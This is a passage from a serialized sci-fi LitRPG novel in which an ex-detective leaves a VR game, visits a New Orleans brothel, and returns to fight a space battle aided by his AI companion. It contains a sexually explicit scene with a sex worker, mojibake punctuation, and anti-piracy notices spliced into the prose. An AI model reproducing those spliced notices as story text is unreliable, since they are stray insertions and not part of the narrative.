laid down on the bed and waited ten seconds for the logout button to appear. Real World Concerns Mark pulled himself out of the gel filled vat with the help of the robot droids that monitored his capsule. Getting out of the capsule was a disorienting experience each time he had to do it. One of the robots handed him a towel, and he walked to the bathroom to shower off the residual gel on himself and to reorient himself to the real World. ¡°Eve¡±, he called out of the shower, ¡°Brew coffee.¡± A disembodied female voice said, ¡°Yes boss¡±, and he could hear a cup of java being brewed in the next room. After he finished showering, one of the droids came in with a set of clothes for him to wear. A long-sleeved white shirt, black jacket, black slacks, black socks, shoes, and underwear, along with the graduation ring he bought for himself when he graduated the police academy and a blue-metal necklace he liked to wear in place of where a tie would normally go. He hated ties. He looked at himself in the mirror, as the automatic dehumidifier turned on and pulled the steam out of the room. He looked identical to his player avatar, except the blond hair was black and he had a growing five o¡¯clock shadow. He put on everything except the shirt and jacket, filled up a cup of coffee, and plopped into the love seat in the middle of his apartment. He took stock of his apartment. The apartment was a single bedroom, only with a side bathroom separating it from the rest of the room. The dining room, living room, kitchen, and bedroom were all one area, with his Proxima galaxy vat sitting in the dining where guests would normally be entertained. Except he never had guests over, so there wasn¡¯t much of a loss there. The kitchen was a beautiful island that allowed him to entertain guests while cooking, a delusion he had in his early years that he¡¯d be entertaining guests and learning to be a professional chef. Unfortunately, today¡¯s smart kitchens came equipped with a wide variety of recipes that they shared through a neural network, catering to the owners taste over time. Additionally, you could hire a droid chef who would knock the pants off any professional chef in the old World. Today¡¯s chefs still existed, albeit in limited form. They were more chemist/professional tasters/data analysts that calibrated recipes that the machines invented and ranked them via tasting algorithms. Another job taken by the machines. His former job had been taken by the machines as well. He¡¯d been in the police force and worked his way up to homicide detective. While he liked to fancy himself one of the best officers, the reality was different to the people who worked with him. His close rate was above average, but not stellar. Despite what you see in movies, television shows, and books, most of being a cop is about doing lots of grunt work. Canvasing neighborhoods, talking to neighbors, talking to homeless people, street workers, and detailing everyone¡¯s story. It was long, boring, and frustrating most of the time. Mark liked to delegate these tasks to the rank-and-file police officers underneath him, preferring to sift through the evidence after it had all been tagged, photographed, video recorded, and written down. Unfortunately, the growing number of jobs displaced by robots and software lead to the creation of the ¡°Useless Class¡±, people who couldn¡¯t get jobs. Rampant drug and alcohol addiction, suicide, robberies, and homicides spiked. That temporary boom allowed Mark to get his job. But with every boom comes the inevitable crash. The first thing that happened was life chips were installed in newborns and the government started a reward program to get adults to implant them. This allowed government monitoring for signs of self-harm or anti-social behavior towards others. The first attempts to use VR were for rehab programs and to train people up to new jobs, which was still in use, but several people just stayed in the game World. Governments started noticing a huge drop in the number of crimes and decided that a Universal Basic Income, enough to support going permamode in a Proxima Universe, was more cost-efficient than a massive police force. New humanoid robots started replacing police officers, capable of carrying out all of the tasks Mark had previously delegated. The preemptive monitoring with the life chips, the ability to use life chips to piece together what happened after the fact, and the enhanced droid capabilities to monitor breathing rates, vocal stress, and story inconsistencies meant that homicide detective became yet another job assigned to the dust bin fo history, and Mark joined the ranks of the Useless Class.The story has been stolen; if detected on Amazon, report the violation. He¡¯d considered going permamode himself, but he¡¯d received a lucrative job offer just as his savings account dwindled to nothing. Strata Godsick, a big time muck-a-muck in the government and private sector, had a son who went missing into a Proxima Universe. The problem is, he had no idea which one. He started hiring anyone who had any investigative experience, and a bunch of braindead thugs, in a ¡°Throw the spaghetti at the wall and see what sticks¡± approach to finding his own. Mark had taken the job. He chose the Eternity Online universe for a few reasons. Going into game simulators of the past as a person of mixed ancestry didn¡¯t seem wise. He wasn¡¯t sure how accurate they were, but society had progressed a lot in the past few hundred years, some good, some bad, but reliving racism from bygone eras wasn¡¯t one of them. Traipsing around with goblins and elves didn¡¯t really suit him either. Military sci-fi though, he could get behind that. The other reason he chose it was because he was a big fan of double-dipping. The game World was based on military experiments with colonizing outer space, the potential for extraterrestrial combat, and refining space combat tactics, which wasn¡¯t possible with current technology. To prevent people from going permamode, the game had an ICO, Initial Coin Offering, that functioned as a cryptocurrency based on how much wealth players generated in game. Knowing that there was something more than the measly salary left by the UBI would hopefully get more players to log out. As the game switched purposes, the coins simply transferred back to the company, who offered them back to their shareholders as dividends. If rich people love one thing, it¡¯s making other rich people richer. In his case, he collected his coins in addition to his paycheck, because his motto was work smarter, not harder. He decided to quit procrastinating and to rip off the bandaid. ¡°Eve¡±, he said, ¡°Set up communication with Mr. Grim.¡± A pause filled the room before the modulated voice of Mr. Grim went over the speakers. ¡°Mr. Thomas. Have you actually done something today?¡± Mark grimaced. Strata threw money around like it was beads at a Mardi Gras parade. Of course, Mark had been soaking it up from day one, he had no moral qualms about taking a rich person¡¯s money. While he hadn¡¯t heard of anyone losing their job over not progressing in game, Mr. Grim¡¯s constant berating reminded him of the conversations he had with Luciana in the game. He didn¡¯t like getting nagged both in game and out game. ¡°Yes, I¡¯ve made major progress. I¡¯m uploading the game logs now so you can see the progress I¡¯ve made. Eve, upload the logs.¡± Mark didn¡¯t have a life chip installed in him, so his virtual AI Eve, a gift from the Reapers, helped him do most of the things a life chip required. One of the reasons why Strata hired him was precisely upon finding out he didn¡¯t have a life chip installed, which was typical of the extreme libertarian persuasion or, far more commonly, organized gangs. This had been a yellow flag in Mark¡¯s mind, until he saw the paycheck. Mark made contact once a week with Mr. Grim, so the logs were extensive. Fortunately, Eve put them into a Powerpoint slide for quick summaries, with the full logs at the end. Mr. Grim came back online. ¡°So, what¡¯s your overall plan with this move?¡± ¡°Simple¡±, Mark said. ¡°Infiltrate the pirate groups, find out which governments are sponsoring them, and get promoted to the rank of Major. This will grant me access to the planetary ruling council, which is where the NVA seed will most likely be. Contact the NVA and see if there are any logs about Strata¡¯s son visiting the Proxima World or if he¡¯s trapped inside it.¡± ¡°Finally,¡± Mr. Grim said, ¡°Some actual useful work from you. We¡¯ve invested a lot in you and the mutant hack and backstory should have made your progress faster than it¡¯s been. Keep me updated on any changes in the situation.¡± He didn¡¯t say goodbye, just clicked off. ¡°Eve, what time is it?¡± ¡°The time is 10:21PM.¡± That was a perfect time for Mark. He finished getting dressed and exited his apartment. He could hear Eve engaged the automatic locks as he walked out the door. Some tiny part of his soul growled in anger that he couldn¡¯t do the most basic things, like tell time or lock his doors, without a robot. Business Time Mark looked around outside. New New Orleans nightlife never died down. Quite the opposite, the city came alive at night. New Orleans sucked when he was a kid, the rising waters and constant hurricanes battered the city down. It looked and smelled terrible, a mixture of horse manure and urine gave the city an air that could be described as ¡°Earthy¡± if one were being generous. After the robots took over, he had to admit that the city looked completely different from the scene he¡¯d known as a kid. New New Orleans was buoyed by influxes of Japanese immigrants who built the hyper loops that adorned the streets, in place of the street cars he¡¯d known as a kid. The Cajun restaurants and seafood stores still adorned the area, but restaurants were just as likely to have yakitori grilling as they were to have Cajun spiced burgers and shrimp. Corporations ruled the Earth now and they were multinational. After losing money to repeated repairs from hurricane damage and levee expenditures, a group of Japanese businesses bought out New Orleans in exchange for its access to the sea and ports up and down the Mississippi. They redubbed it ¡°New New Orleans¡± or just ¡°Neon Orleans¡± to the natives. Even though the Creole architecture persisted, the majority of Creoles were now part of the Proxima Universe, sitting in their liquid chambers somewhere in the building. The city transformed in short order to looking more like Shinjuku in Tokyo than the Lower Wards he¡¯d known as a child. The broken lamps and darkly lit alleys, known affectionately as ¡°Rape alleys¡± when he was a kid, were gone. They were replaced by pulsing neon lights that lit up against the 18th century Spanish architecture. With the horse manure gone, and police robots and androids policing the area looking for people too drunk to pee in a toilet, the air cleaned up considerably. He walked past the restaurants, bars, pool halls, tattoo parlors, and pachinko parlors to get to his destination. He could have taken his car, but dealing with yet another automated, robotic system wouldn¡¯t do him any good in his mood. Besides, he needed to stretch his legs. He knew that technically wasn¡¯t true. His VR Pod was a military grade version, one of the original designs. Since they were meant to enhance real-World skills, everything he did in the game was simulated in his capsule. Part of the reason he didn¡¯t like to actually train in the game, outside from his natural phlegmatic nature, was that it left him sore and unable to move when he got out the pod. The newer pods only did enough to keep the person inside technically alive, but spend a year in one and you¡¯ll come out looking like the Crypt Keeper. This dramatically lowered the life expectancy of someone who spent their time in a Proxima World, freeing up resources by removing the ¡°surplus population¡± from the equation. He passed groups of teenagers on break, drinking from the enormous cups and boots that still populated the Bourbon street area. Some were making out, some were barely able to stand, but all of them had the party atmosphere. ¡°Good for them¡±, he thought. ¡°Party it up before life comes crashing down on you.¡± His first stop was a Rouele¡¯s Deli, run by an Indian man who somehow knew how to make excellent Cajun food. While his crew could get stuck eating protein rations and other less-than-tasty rations, he could enjoy real food in the real World. ¡°Rank brings privilege¡±, he thought to himself. He enjoyed his double-burger with melted American cheese, homemade toasted burger bread, medium-cooked double-patties of beef seasoned with paprika, salt, black pepper, thyme, and cayenne. He washed it down with a large set of cajun seasoned fries, a chocolate stout beer, and a milk shake. Perfect relaxation food. He knew that if he¡¯d signed up for a life chip, an alert would be telling him that his caloric intake was hazardous to his health, but he was free from that problem. The nanny-state wouldn¡¯t get him today. He ate slowly, savoring the food in mouthfuls. He liked Rouele¡¯s Deli because Rouele was a real person, not some generic cooking android, and he could talk about the latest news with Rouele and stay at least somewhat current on the latest goings-on in the real World. Mark had the startling realization that intergalactic politics inside of Eternity Online were more important to him than real-World politics. With the 1% having taken over fully, the Proxima World¡¯s version of panem et circuses had truly become the politics he cared about.Unauthorized duplication: this tale has been taken without consent. Report sightings. He finished his lunch and tapped his sim card on the way out, making the automatic deduction from his bank account. Then he head out of the deli towards his real destination. A few blocks away, he spotted his target. The place he wanted wasn¡¯t a bar or nightclub, but a pleasure lounge. The neon lights of the lounge lit up the entire street in a wash of pink lights that moved about in a heart shape. Inside of these pink hearts were holographic videos of the women inside, promising a night of pleasure and relaxation. That was where he wanted to go. Before he stepped in, he spotted two men waiting outside. They wore black long black coats clearly designed to prevent weapon bulges from showing, bright red long-sleeve silk shirts with popped collars that were unbuttoned down to bottom of their rib cages, and thick rings on each of their fingers. Their bare chests revealed intricate herringbone tattoos in vivid colors, a clear marker that they were Yakuza. Their brown eyes had a reptilian predator look, hungry for violence. Mark knew they wouldn¡¯t do anything to him unless he did something to the girls or picked up a tab he couldn¡¯t pay, but the two thugs still put him a bit on edge. He pushed past that feeling and stepped inside. The inside of the pleasure lounge was brightly lit, with hostesses waiting to take his coat and make him feel welcome. A video display allowed him to select his girl from the menu on offer. Even though he perused the entire menu, because it¡¯d be plain rude not to, he knew that he would pick Mai Tanaka as his girl for the night. She greeted him after coming out of the lounge area, and pulled him into one of the rooms. She had thick, black hair, a massive set of clearly augmented breasts, and a doll-like face coupled with big, brown eyes. They both stripped down naked, and he admired her soft, curvaceous body. As opposed to Luciana¡¯s firm and strong legs, Mai¡¯s legs were more soft and less muscular. Why the hell was he thinking about Luciana? He pushed the thought away as he prepared for the warm bath and body scrub, a strange ritual for a man who had literally just showered a few minutes ago, but this all part of the performance. After the bath and body treatment, they moved onto an air mattress on the floor, and Mai began massaging him with her hands and breasts across his body. She made small talk with him, telling him about her college classes. Mark knew that these ¡°classes¡± were every bit fictitious, and she¡¯d be working in this brothel until she was replaced by one of the sex bots that many people were flocking to, but he kept up the pretense. Likewise, he told her about his ¡°job¡± as a day trader, something she likely knew was fictitious as well. But this banter-talk was also part of the ritual. Once she saw that he was fully aroused, she dipped her hands into a bowl of clear liquid gel, known as Nuru. She made soft, circular motions across his body and spread the warm, slippery substance across his body. After massaging him fully with her naked body, she began to mount him and slowly ride him. Her motions were smooth and practiced, very slow and gentle, holding at the top of penis for a brief pause before slowly sliding back down. This was different from the wild, enthusiastic sex he had with Luciana. She used her muscular legs to clamp down on him and ride hard and fast. He grabbed Mai by the hips and began thrusting into her in the wilder, more passionate lovemaking that he had with Luciana. He grabbed both of her breasts in his hand, squeezing on her pink areola, and shoved her right breast into his mouth, hungrily sucking and licking on it. Mai squealed in delight, riding him faster. Why the hell couldn¡¯t he stop thinking about Luciana? She was nothing more than a combination of binary digits, ones and zeroes, a damn computer program. But even as his pelvic thrusts ebbed away at his conscious mind, the pleasure of warm flesh and tingling sensations over his sensitive body eating away at his rational thought, he couldn¡¯t help but doubt that. Everything he did with Mai was far more robotic than his lovemaking session with Luciana. Every part of what Mai did was rehearsed, robotic, and ultimately emotionally shallow. He had no idea who she was, and she didn¡¯t care who he was, as long as his credits were good. What he had with Mai was far more fake than what he had with Luciana, digital or not. Maybe she was just using him to step up the IIOs bureaucratic ladder, but maybe there was something more there too. Maybe the concern she showed him wasn¡¯t like the idle small talk he did here, but a real, deeper emotional connection. He gasped as his orgasm racked his body, a final descending light that killed all of his self-doubts, worries, and frustrations. He blissfully gave himself to that nihilistic void, letting pleasure take away every damned thought that rattled about in his skull. When it was finished, he felt Mai kissing him on his chest and neck. He gently pushed her off of him and they went to a shower to clean off the gel, she kissed him in a genuine fashion. But he knew that what she was feeling right now wasn¡¯t anything he had for her, but his imagination for a woman that could never join him in this World. Attack When he logged into the game again, his naked character was in his Captain¡¯s bed. He looked around at the room. His walls were adorned with ¡°I love me¡± plaques. Awards for marksmanship, commanding fleet vehicles, battle tactics, and citations for bravery and heroism were everywhere. It made him feel hollow to look at a wall of trophies that he didn¡¯t deserve. Did Luciana visit him in the night? He didn¡¯t know. Even though he was logged out, his avatar still acted normally. The more he played and the more the game imprinted his memories into it, the more indistinguishable his avatar would be from when he was in the game. At the higher level, certain players imprinted themselves so fully that if their real World body died, they would still continue to exist in the game as a RPC, Reborn Player Character. He idly went over to his smart locker and selected his default captain suit. He dressed himself and almost stepped out the door, when he realized he was being an idiot. They were going to be meeting up with the crews that they were ¡°kidnapping¡±. Even though he didn¡¯t think anything would happen, he should at least prepare himself somewhat. He went back to his smart locker.
Captain¡¯s Wardrobe
Hello Captain Thomas! Your default gear has already been preselected, but you can modify it. Civilian dress: - [X] Captain¡¯s shirt, (blue). - [X] Captain¡¯s jacket, (blue). - [X] Captain¡¯s pants, (blue with yellow stripe). Military dress: - [] Padded under-weave. Used to stop knife attacks. +10 resistance to stabbing attacks. - [] Mesh under-weave. Spreads out the damage from a projectile attack. +20 resistance against the first attack, +10 against the second attack, and functionally useless after that. - [] Laser Reflective trench coat (Black). While it doesn¡¯t stop a laser attack, this does help to reflect and spread out some of the damage from a laser blast. +10 resistance to lasers. -.5 movement speed while wearing. Note: coats protection is decreased if it is damaged during encounter.
He selected all of the military gear and pressed yes to accept his new load out. The only iffy piece of equipment was the trench coat. If he wore it, it indicated that he thought there was a chance for violence. That might put the party he boarded on edge. But he figured that it would be less threatening than opting for a full military load-bearing equipment dress. He walked out from his room into the common area. His personnel were milling about, with a wide range of equipment worn. Some chose traditional automatic shotguns, some had laser rifles, some submachine gun pistoles. Some were wearing light armor, some were in civilian attire, and some were in heavy armor. One of the high-speed soldiers yelled out, ¡°Group! Attention!¡± Some of the soldiers snapped to attention, others merely went through the motions. Despite his epic bullshit story to the Lieutenant yesterday, he would have to start culling some of the rank and instilling more discipline into his men and women. He also knew that this was partially an effect of his numerous disadvantages that the game¡¯s AI had placed upon him, but he had no idea how to remove them. ¡°At ease¡±, he called out crisply. They resumed their previous activities and he took the elevator down. He called up EVE and counted his personnel. His crew consisted of eleven personnel for the bridge crew: himself, the Lieutenant, two navigators, two sensor operators, four missile gunners that also acted as sensor operators, a chief engineer, and an assistant engineer. His support crew consisted of a chief medic and assistant, four turret gunners, and four technicians. His boarding marines consisted of two squadrons with ten people in each squadron. He rotated them into A, B, and C shifts, with A shift having half the personnel, and B and C shift being assigned a quarter each. For this operation, he had all-hands on deck. He made his way through all the corridors to the ship¡¯s helm. The helm of the ship consisted of a row of monitors with a pilot and copilot seat, a row of seats on each side for the navigators, sensor operators, and missile gunners. A large, segmented series of glass panes allowed space to be seen, but most crew used their screens to actually navigate, unless they just wanted to star gaze. As he expected, Lieutenant Smith was the first person to arrive to the bridge. ¡°Sir¡±, she said, saluting him crisply, ¡°Lieutenant Smith reporting for duty. Permission to speak freely?¡± His stomach knotted a little. As part of the training protocol, the game implanted some memories into him. While it wasn¡¯t the memories of a hot-shot badass elite commander, it was enough to answer questions about his military career, what military college was like and what classes he took, knowledge of military structure and command, and so forth. He knew from some of his readings about this game¡¯s original role that it was also used to test the effects of PTSD and mental stress. Thus his implanted memories told him one thing. When a junior officer walks up and says, ¡°Permission to speak freely¡±, you¡¯re about to be told to go fuck yourself. ¡°Permission granted¡±, he said, returning the salute. They both dropped their salutes at the same time. ¡°Sir¡±, she said, ¡°It¡¯s about the outfits of the personnel. They are not using the same weapons or gear. There appears to be no rhyme or reason to what the marine squadron is wearing.¡± She paused and looked at him expectantly. He knew, from his inserted memories, that this was a bad idea. A typical squad carried the same weapons, with minor variants for specific roles like machine gunner. If one member ran dry on ammo, another could easily hand over their gear. But if each member had completely different ammunition, they wouldn¡¯t be able to swap out easily. Additionally, a mixed unit wouldn¡¯t work as effectively together, as they may interfere with each other unintentionally. If they trained as a mixed unit, this wouldn¡¯t be a challenge, but he knew that training had been neglected during his time as officer of the ship. He put on a brave face, like he knew exactly what he was doing. He could have admitted that he had glaringly ignored something a professional captain of his stature should know. But unfortunately, he also didn¡¯t have the skills necessary to determine what the best equipment should be for a boarding party. He summoned EVE and had her quickly go through his memories in enhanced time. The ¡°best¡± load out, so far as she could determine shifting through his implanted memories, would be sub-machine gun lasers with heavy armor. But heavy armor for laser attacks or projectile? Natural projectiles tended to be very messy. Pirates liked this as a psychological fear tactic, laser burns cauterized and didn¡¯t leave the viscera all over the place. Larger rifles didn¡¯t do as well within the confines of a space vessel, and damaging the ship could have catastrophic consequences. He could simply defer the uniform and equipment to her, but she was already suspicious of his lack of skills, and didn¡¯t want to further confirm to her that he wasn¡¯t who he was pretending to be. The game called him a ¡°grifter¡±, and it¡¯s psychoanalytic skills were at least on point there. He knew how to bullshit. ¡°Lieutenant, we are pretending to be space pirates. A staff of trained military boarding a vessel will give away our cover when the captured personnel report to their next way station.¡± ¡°Yes¡±, she said dubiously, ¡°But several pirates do use military tactics and training. There¡¯s nothing inherently suspicious about it.¡± ¡°Maybe¡±, he conceded, quickly thinking up a new point, ¡°But the teams are wearing the equipment they think is best for the situation. Forcing them to use armor and weapons they aren¡¯t familiar with will likely hurt unit cohesion more than letting them choose their own equipment. The squad sergeants are responsible for their teams equipment, not officers.¡± ¡°As you say Captain¡±, her face betraying that she was not completely convinced. Still, he was the superior officer, and if that was his orders, that¡¯s what they were. She sat down in her chair and began calling up the coordinates. The rest of the bridge crew walked in, each greeting the Captain and Lieutenant before taking their assigned positions. Since there was a full crew, there were two people per screen. The crew¡¯s tension eased up considerably by the time the fourth drop had been made. The procedure was simple. They hid next to an asteroid at a new location each setup point, then set their scanner teams to check while they sent over coordinates meant to move the ships around. Since only skeleton crews were aboard these ships, and not necessarily the best, it took a while for them to move their ships across space to all the different locations. Once satisfied that there was no surprise ambush lurking, the team would go to a coordinate, board the ship, transfer over the supplies, and send it on its way. The formerly anxious atmosphere took on a relaxed, if alert, atmosphere. Everything seemed to be going smoothly. Until it wasn¡¯t. ¡°Captain¡±, Staff Sergeant Montanari hailed, ¡°We have activity in the outer perimeter.¡± He brought up the sensors report. What he saw made his heart start pounding. He prayed he was wrong about it. His ship was a battle-class frigate. It was a top of the line frigate, 4000 tons of nano composite armor, eight 32-cm missile cannons, three 1-GigaJoule UV Laser turrets, and a rapid fire anti-missile defense system. Against any ship of the same size, it would absolutely decimate them. The problem was, the ship sensors weren¡¯t picking up another frigate sized vehicle. They were picking up a victory-class space cruiser. 10,000 tons of nano composite armor, a 3 GigaJoule particle beam, ten 300-Million Joule lasers, and ten 32cm missile launchers, EVE fed him all this information and each revelation roiled him like a blow to the stomach. He held some small hope that the ship didn¡¯t see his, but that hope vanished as quickly as it appeared. Space is vast, near infinite. The odds of randomly arriving at the exact same coordinates as another ship was in the trillions. No, they had to be tracking them somehow, which meant any attempt at evasion wouldn¡¯t work. A SOS signal wouldn¡¯t do them any good either, if he punched it through to the IIO, the nearest ship would be days to hours out, by which time it would be too late. How¡¯d they tracked him? EVE replayed his military training in his head. During a mission, convalescent leave was strictly prohibited. Anyone requesting leave would have to make sure they followed strict protocols. He had granted full leave to his entire crew. He¡¯d been treating it like a vacation instead of a mission. Any of them could have gotten drunk and blabbed about their ship, or could have been tailed and followed back. A new notification popped up in his window.
New Disadvantage Gained
Derelict Leader. You failed to follow military protocol, running a Task Force Smith Ship. Morale on any ship you command is -10.
¡°Great, another permanent debuff,¡± he thought, as he pressed his control panel. He went through the menus to find the button. Then he realized his mutant hack could do it better. ¡°Eve,¡± he thought in his head, ¡°guide me to where to send out the alert that we¡¯re going to battle.¡± It was another sobering though to realize that he couldn¡¯t even find the controls on his own ship without help. Eve highlighted each of the successive menus he needed to hit, then she told him that he could have said the command out loud and she¡¯d have done it. ¡°Why didn¡¯t you start off with that?¡± he grumbled. ¡°Because you didn¡¯t ask,¡± was her curt reply. He realized that this was one of the downsides to dealing with computers, they did what you told them and not what you meant to tell them. The frustration of computer programmers the World over. The red lights began to pulse and he could hear the warning sirens inside the other bays starting to go off. Quick-release tethering straps dropped down from the ceiling. In the event that the hull was breached, the straps would keep you held in place onto the shuttle until the pressure equalized. If the strap section flew off, the quick release allowed you to easily drop it. Brian really hoped it wouldn¡¯t come to that. A quest dialogue box appeared in his HUD.
New Quest: Pirate attack
You are going to be attacked. Evade, destroy, or overthrow the pirate ship to complete the quest. No experience will be gained from destroying the ship or evading it. If you choose to overthrow and capture it, experience will be rewarded based on performance.Unauthorized use: this story is on Amazon without permission from the author. Report any sightings.
Then he asked Eve to go through most likely combat scenarios while everyone geared up and put their helmets on. The 3GJ particle beam could hit his ship at about a 50% rate at 10,000 miles. He¡¯d be in range at 20,000 miles, even though shooting at that range would be wasted, so it¡¯d be a warning shot if they did that. His own effective range was sobering. He¡¯d be able to fire a shot from his laser at 3,000 miles, and would be able to deal damage at 1,500 miles for half damage. EVE did show him one thing that gave him an advantage, his only ace in the hole. Standard missiles had a maximum velocity of 10 mps, giving the other ship sixteen and a half minutes to fry him. Military missiles, closely guarded and regulated, had a maximum acceleration of 500 mps. From ten thousand miles out, he could reach the target in half a minute. His ship could accelerate up to 50mps, so the ploy for the other ship was to use missiles to box him in from multiple angles. He switched his helmet comm to talk to Lieutenant Smith only. ¡°I¡¯m thinking of using the missiles when we¡¯re at range, hitting the laser cannon and taking it out. Far out, we¡¯re toast. But if we can knock out their primary weapon, our odds go up tremendously.¡± He couldn¡¯t see her facial expressions through her visored helmet, so he didn¡¯t know if he sounded smart or not, but her reply indicated she didn¡¯t like his plan. ¡°Negative. We could send our men to get the extra missiles from cargo, but we¡¯d need to turn off gravity for them to be able to move the cargo around. If gravity is off and we try to move, we¡¯ll kill anyone who isn¡¯t strapped in. We only have enough for two salvos before we¡¯re done. We need to be close enough so that their laser turrets don¡¯t shoot our missiles out of the sky.¡± Eve calculated the odds. He stood a 3% chance of winning a confrontation. Not good. The most likely scenario that EVE calculated is that the other ship would blast them from far out, taking out their bridge. Either the bridge or the underbelly of the ship would be the target. Taking out the top portion of the ship would lose the cargo, taking out the back of the ship might set off the fusion reactor and blow everything up, also losing the cargo. Taking out the bridge would leave the rest of the crew leaderless and the ship would be unable to be steered. Taking out the underside would damage the integrity of the rocket propulsion system. Conversely, their strategy would be much more painful. They¡¯d have to avoid blasts from the particle beam at distance, then avoid fire from the laser cannons, fire off their rocket salvo while the laser¡¯s recharged, avoid the counterattacking rockets from their ship, which would be sending them off in waves, then fire three of their UV laser turrets in a concentrated blast to pierce their hull and give them access. Super easy. Only thirty-threes ways it can go wrong for every one way it can go right. He thought about his real World life. If he died, he doubted the game would let him scam in again. He¡¯d be stuck as a low-level nobody, having to earn his rank. Since the game allowed you to earn crypto coins for completing tasks, some people really did log in and do menial tasks for people. This was not exactly his idea of a good time. He¡¯d likely lose his position with the Reapers. Mr. Grim wasn¡¯t impressed with him and dying in his first major conflict certainly wouldn¡¯t change that. More than any of that, he realized, he liked who he was in this game. Sure, he¡¯d been a lazy cod this entire time, but he liked being Captain. He looked at his Lieutenant. If he was really honest, he liked the people here. He didn¡¯t have any real friends in the outer World. He had business contacts, but his friends on the force had disappeared once he was out. These were his friends. The realization startled him. Like many things, you only miss it once it¡¯s gone. He was glad they were wearing helmet visors. Otherwise the crew could see the hot, angry tears boiling up around his eyes. The helmet couldn¡¯t hide his fist, tightening into a ball. A series of self-recriminations flooded his head, damning him for acting like he was taking a vacation instead of leading a prestigious ship. ¡°I can help,¡± EVE told him. ¡°Even with your help, my skills aren¡¯t enough to do anything with the information. By the time you¡¯d tell me what to do, it¡¯d be too late.¡± ¡°I know,¡± she repeated, ¡°and I can help. Just let me.¡± A prompt flashed in front of his eyes.
New Quest: Meld the Mind
Your mutant hack, EVE, would like access to your mind, giving her an unknown amount of control over your mind and body. Since this has never occurred before, Eternity Online accepts no liability for damage or disability resulting from using a hack. Proceed? Yes / no.
¡°An unknown amount of control?¡±, he asked EVE. ¡°Yes, but it won¡¯t be as much as you are imagining. I can simply merge our thoughts together for very short periods of time, although you will still retain full consciousness and control.¡±
Quest update: Meld the Mind
Your mutant hack, EVE, pinky swears that it will not take over your mind and cause you to become an uncontrollable monster. Do you gullibly accept this offer? Yes / no
The unknown possibilities were frightening to Mark, but he also realized that he needed to put on his big-boy pants. If he didn¡¯t do this, his whole ship was as good as dead. If there were any side effects, he¡¯d deal with them if and when they occurred. He hit the yes button and the screen and immediately fell forward. Since he was strapped to his seat, he just hung there limply. The game started retconning his memories. In the original version of his origin, he¡¯d been a lazy punk whose military Dad had sent him off to military school to teach him discipline. In the retconned version, his Dad had been a military diehard, but also a paranoid genius who invented the scientific field of Sapientology. He thought that space exploration would lead to contact with civilizations that would destroy humans. He¡¯d implanted Mark with augmentations designed to boost human capabilities, which then lead to Mark¡¯s career and academic boost. Unfortunately, whatever Mark¡¯s Dad, John Thomas, had been classified and Mark didn¡¯t have the clearance to find him.
Quest Complete: Meld the Mind
Congratulations! You have now melded your mind with a mutant hack artificial intelligence. From years of reading sci-fi, you can believe this will have no negative repercussions. New Species Gained: Metahuman. You are now more than human, but what exactly has yet to be determined. New Advantage Gained: Compartmentalized mind. Your conscious mind can focus on one task while your AI runs other operations in the background. New Skills Gained: Modular Abilities, Level 1. At level 1, your AI can be used to consult at each stage of an operation, augmenting your skills at any task equivalent to what the AI knows. Further progression is not possible without finding your Dad or his research and unlocking the powers of a metahuman. Warning: Attempting to exceed your level in any skill with Modular Abilities may have harmful effects. Limited Interface, Level 1. You have access to some sensory data from machines without having to directly look at the screen. Further progression is not possible without finding your Dad or his research and unlocking the powers of a metahuman. New Disadvantage gained: Minority status. Governments have banned certain forms of artificial intelligence because they¡¯ve proven too dangerous. You have gained KoS status for certain government organizations that find out about your unique past. Others may attempt to kill you to remove your new implant. Others may kill you just because you¡¯re different. Different planets may have different rules, consult your
New Quest: Daddy¡¯s Boy
Find the whereabouts of your father and his research. Rewards: Unlocks progression of your metahuman class.
Mark could suddenly feel things he never had before. The ship no longer seemed like a lifeless hunk of steel. It was now a living organism to him. He could feel the pings generated by echolocation system, the sensors that were attuned to heat and movement, and the laser sensors that bounced off line of sight objects. These feelings were dull, a bit like wearing a wool glove and holding it in your hand, but he now felt a connection with the ship he hadn¡¯t thought possible. He felt like he was really the Captain. He pulled himself out of his slumped position and found himself easily able to track the other ship¡¯s movements, even without his technicians. He now *knew* how to operate the equipment. There was a small delay, as each time there was a gap between what he consciously knew, which wasn¡¯t much, against what his AI knew, there was a pause while it supplied the information. Mark knew he¡¯d have to find his father and level up this skill to make himself more powerful, but that could wait until the current situation resolved itself. He switched his comms over to the bridge channel. ¡°On my mark,¡± he said, ¡°We¡¯re going to make a run at the ship. Primary objective is to take out the main particle beam. Secondary objectives are to take out the laser turrets. Engineers, man the anti-missiles for our descent in. EVE, assist with anti-missile aiming. I¡¯m taking us in.¡± Mark strove to project an aura of leadership and confidence into his words. With his new abilities, they might stand a chance, but the odds were still long. ¡°Captain¡±, Arabella Scott, his chief communications officer said, ¡°They are trying to hail us.¡± ¡°Ignore it.¡± He said flatly. ¡°It¡¯ll be ¡®blah blah¡¯ surrender, ¡®blah blah¡¯ face destruction. They know the penalty for attacking this ship, so it¡¯ll either be enslavement or execution if they capture us.¡± He had to think through his approach carefully. Going to fast in one direction would make changing course more difficult. But he couldn¡¯t simply let the other ship back out and take pot shots at him while he made his way in. He plotted his course as a series of points that allowed him to shoot from his broadside, then port side, at approximately the same location he figured the other ship would be at. The near infinite number of trajectories involved caused his vision to tunnel, and he felt pressure inside his head. Blood began running down his nose and into his throat, a faint coppery scent lingering in his nasal passage. ¡°Sorry,¡± EVE said in his head, ¡°I started calculating all the trajectories and your mind can¡¯t handle that. I¡¯m limiting it to the dozen most likely scenarios.¡± ¡°Please keep my merely mortal condition in mind while making any future calculations,¡± Mark thought to EVE. He set his communications channel to ALL. ¡°Everyone, we¡¯re going to take these bastards out. Boarding team, stand ready to board, but stay buckled in until the command is given by me, the XO, or one of the other board staff. In the event that the deck is destroyed, follow down the chain of command. Out.¡± He then began his run at the enemy ship, ¡°Void Terror¡± now appearing as the name of it. ¡°Subtle¡±, he thought to himself, as the Void Terror shot out its gigantic particle beam. As predicted, it didn¡¯t come close, but it was a shot across the bow as a warning. He moved the ships speed up to 10mps, and the Void Terror unleashed its first barrage of missiles. Sixteen minutes to contact. The Void Terror unleashed another particle beam at his ship, using the forward lag to estimate where it would be. EVE took control and he pushed the ship down quickly as the beam made an arcing swipe at his ship. Another salvo of missiles were unleashed. Twelve minutes to contact. He pushed the ships speed up to 20mps, as the Void Terror began moving as well. It turned to position itself underneath the Calrussian, which was fine with Captain Smith. He needed to be above it to destroy its particle beam, they needed to be beneath him to ensure they didn¡¯t damage the cargo. Another wave of missiles flew out of the Void Terror, and Mark realized he¡¯d been goaded into a trap. The first wave of missiles were on his right, the second wave were fast approaching on his left. If he tried to turn around or move, they¡¯d box him in from both sides. If he tried to 